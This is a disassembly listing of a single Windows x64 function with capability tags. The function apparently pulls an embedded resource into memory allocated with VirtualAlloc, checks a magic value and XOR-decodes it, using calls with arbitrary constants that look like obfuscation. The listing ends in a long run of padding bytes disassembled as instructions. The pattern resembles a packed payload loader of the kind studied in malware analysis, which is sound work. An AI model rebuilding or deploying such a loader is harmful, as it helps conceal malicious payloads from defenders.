Function at 0x1400029c0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb8
mov rdi, rcx
mov r12, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400061d0], r12
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400061d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x24], eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x24]
mov rcx, rbx
call fcn.1400027f0
mov r15, rax
mov ecx, 0x1000
mov edx, 0x2f
call fcn.1400027f0
mov rdi, rax
mov ecx, 4
mov edx, esi
mov r8d, esi
call fcn.1400027f0
xor ecx, ecx
mov rdx, r15
mov r8d, edi
mov r9d, eax
call r12
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
mov rdx, r14
mov r8, rbx
call fcn.1400027c0
mov rsi, qword [rsp + 0x28]
mov edx, 0xf6
xor ecx, ecx
call fcn.1400027f0
mov ecx, dword [rsp + 0x24]
test rsi, rsi
je 0x140002e12
cmp ecx, eax
je 0x140002e12
mov ecx, 5
mov edx, 0x75
mov r8d, 0x52
call fcn.1400027f0
mov ecx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rdx
cmp ecx, eax
jbe 0x140002e6c
mov rax, qword [rsp + 0x28]
mov esi, dword [rax]
mov ecx, 0x2e786f72
mov edx, 0x3fe8f7
mov r8d, 0xe1
mov r9d, 0x99
call fcn.1400027f0
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rcx
cmp esi, eax
jne 0x140002e6c
mov rax, qword [rsp + 0x28]
add rax, 4
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax]
mov byte [rsp + 0x23], al
movzx eax, byte [rsp + 0x23]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov dword [rsp + 0x34], ecx
movzx edx, byte [rsp + 0x23]
xor ecx, ecx
mov r8d, edx
call fcn.1400027f0
mov rsi, rax
movzx ebx, byte [rsp + 0x23]
movzx edx, byte [rsp + 0x23]
mov ecx, 4
call fcn.1400027f0
mov ecx, dword [rsp + 0x34]
cmp bl, sil
je 0x140002e7d
cmp ecx, eax
jle 0x140002e7d
movzx eax, byte [rsp + 0x23]
mov qword [rsp + 0x48], rax
mov ecx, 4
call fcn.1400027f0
add rax, qword [rsp + 0x48]
add rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov esi, dword [rsp + 0x34]
add esi, 0xfffffffb
mov r8, qword [rsp + 0x48]
mov ecx, 2
mov edx, 0x542f06
mov r9, r8
call fcn.1400027f0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x40], rcx
cmp esi, eax
jb 0x140002e6c
mov ecx, 0xfffffffc
mov edx, 0xba
mov r8d, 0x39
mov r9d, 0xb3
call fcn.1400027f0
mov rsi, rax
add esi, dword [rsp + 0x34]
mov qword [rsp + 0x90], rsi
mov ecx, 1
mov edx, 0x2e
mov r8d, 0x29
call fcn.1400027f0
xor ecx, ecx
cmp al, byte [rsp + 0x23]
adc rcx, 1
mov qword [rsp + 0x98], rcx
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400027f0
and rax, qword [rsp + 0x90]
mov qword [rsp + 0xa0], rax
mov ecx, 3
mov edx, 0xea
call fcn.1400027f0
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], 2
cmp esi, eax
je 0x140002dbc
mov edx, 0x3b
mov rcx, 0xfffffffffffffffe
call fcn.1400027f0
mov rsi, rax
add rsi, qword [rsp + 0x90]
mov edx, 0x4a
mov r8d, 0xeb
mov rcx, 0xfffffffffffffffe
call fcn.1400027f0
and rax, rsi
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x70], 0
xor r14d, r14d
nop
mov r15, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
cmp rsi, qword [rsp + 0x48]
mov ebx, 0
cmovb rbx, rsi
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rax + r12]
mov rdx, qword [rsp + 0x50]
xor cl, byte [rdx + rbx]
mov byte [rax + r12], cl
mov ecx, 1
mov r9d, 0x69
mov rdx, rsi
mov r8, rsi
call fcn.1400027f0
mov rdi, rax
add rdi, rbx
mov ecx, 1
mov rdx, rsi
mov r8, rsi
call fcn.1400027f0
or rax, r12
cmp rdi, qword [rsp + 0x48]
cmovae rdi, r14
mov rcx, qword [rsp + 0x38]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x50]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov ecx, 1
mov edx, 0x79
call fcn.1400027f0
mov rbx, rax
add rbx, rdi
mov ecx, 2
mov edx, 0xd5
call fcn.1400027f0
mov rdi, rax
add rdi, r12
mov ecx, 2
mov rdx, rsi
mov r8, rsi
mov r9, rsi
call fcn.1400027f0
add rax, r15
cmp rax, qword [rsp + 0xa8]
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rdi
jne 0x140002cd0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x58]
mov r8d, 0x86
xor ecx, ecx
call fcn.1400027f0
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x40], rdx
cmp rcx, rax
je 0x140002e6c
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
cmp rcx, rax
jae 0x140002e44
mov rax, qword [rsp + 0x58]
jmp 0x140002e46
mov edx, 0xa3
xor ecx, ecx
call fcn.1400027f0
lea rdx, [0x140005050]
xor ecx, ecx
xor r8d, r8d
mov r9d, eax
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0xb0]
movzx ebx, byte [rcx + rdx]
mov rdi, qword [rsp + 0x50]
xor bl, byte [rdi + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
lea rdx, str.rqwva6msb2xsbW9saaprrSysLGf
call fcn.140001000
mov rcx, qword [rsp + 0x88]
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], dl
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl